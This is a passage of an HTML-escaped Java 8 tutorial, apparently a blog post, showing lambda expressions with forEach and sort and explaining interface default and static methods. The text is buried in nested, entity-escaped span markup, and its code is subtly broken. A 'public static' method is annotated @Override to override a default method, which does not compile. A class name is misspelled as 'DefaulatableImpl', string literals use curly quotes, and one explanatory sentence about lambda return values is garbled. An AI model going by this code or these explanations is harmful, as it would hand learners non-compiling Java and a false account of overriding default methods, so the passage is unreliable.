&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;(-&amp;gt;
lambda):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;Arrays.asList(“a”,”b”,”c”,”d”).forEach(
 e -&amp;gt; System.out.println( e ) );&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;Arrays.asList(“a”,”b”,”c”,”d”).forEach(
  ( String str ) -&amp;gt; System.out.println( str )  );&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;Arrays.asList(“a”,”b”,”c”,”d”).forEach(
  ( String str ) -&amp;gt; {&lt;br /&gt;&amp;nbsp; &amp;nbsp; System.out.println( str ) ;&lt;br /&gt;&amp;nbsp; &amp;nbsp; System.out.println( str + ”,”) ;&lt;br /&gt;
} );&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;Obviously
lambda expression returns a value to but, it must not need to be
declared, if not required.&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;Arrays.asList(“a”,”b”,”c”,”d”).sort(
 ( e1, e2 ) -&amp;gt; e1.compareTo( e2 ) );&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;      &lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;code class=&quot;western&quot;&gt;OR&lt;/code&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;code class=&quot;western&quot;&gt;Arrays.asList(“a”,”b”,”c”,”d”).sort(
 ( e1, e2 ) -&amp;gt; &lt;br /&gt;
{&lt;br /&gt;&amp;nbsp; &amp;nbsp; int result = e1.compareTo( e2 );&lt;br /&gt;&amp;nbsp; &amp;nbsp; return result;&lt;br /&gt;
});&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 class=&quot;western&quot; style=&quot;border: none; margin-bottom: 0.1in; margin-top: 0.26in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Liberation Sans, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Interface’s
Default and Static Methods&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Two
new concepts of methods in interface; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;default
and static methods.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Default
method, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;make
interfaces somewhat similar to traits but serve a bit different goal.
They allow adding new methods to existing interfaces without breaking
the binary compatibility with the code written for older versions of
those interfaces.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The
difference between default methods and abstract methods is that
abstract methods are required to be implemented. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Example:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;private interface Defaultable{&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;code class=&quot;western&quot;&gt;&amp;nbsp; &amp;nbsp; //
Interfaces now allow default methods, the implementer may or&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;code class=&quot;western&quot;&gt;&amp;nbsp; &amp;nbsp; //
may not implement (override) them.&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;code class=&quot;western&quot;&gt;&amp;nbsp; &amp;nbsp; default
String notRequired(){&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;code class=&quot;western&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return
“Default Implementation”;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Consolas, Bitstream Vera Sans Mono, Courier New, Courier, monospace;&quot;&gt;&lt;code class=&quot;western&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;}&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;private static class DefaultableImpl implements
Defaultable{&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;}&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;private static class OverridableImpl implements
Defaultable{&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp;@Override&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; public static String notRequired(){&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return “New Implementation”;  &lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in; margin-left: 0.38in; margin-right: 0.39in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;}&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;In
java 8 interface can declare and implement static methods too:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;private
interface DefaultableFactory{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; //a
new static method’s &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; static
Defaultable create(Supplier&amp;lt;Defaultable&amp;gt; supplier){&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return
supplier.get();  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The
small code snippet below glues together the default methods and
static methods from the examples above.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;public
static void main(String[] args){&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Defaultable
defaultable = DefaultableFactory.create(DefaulatableImpl::new);&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.print(defaultable.notRequired());&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;defaultable
= DefaultableFactory.create( OverridableImpl::new);&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.print(defaultable.notRequired());&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;}&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Default
methods implementation on JVM is very efficient and is supported by
the byte code instructions for method invocation. Default methods
allowed existing Java interfaces to evolve without breaking the
compilation process. The good examples are &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;strong&gt;java.util.Collection
&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;interface:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;strong&gt;stream()&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;strong&gt;parallelStream()&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;border: none; display: inline-block; padding: 0in;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: 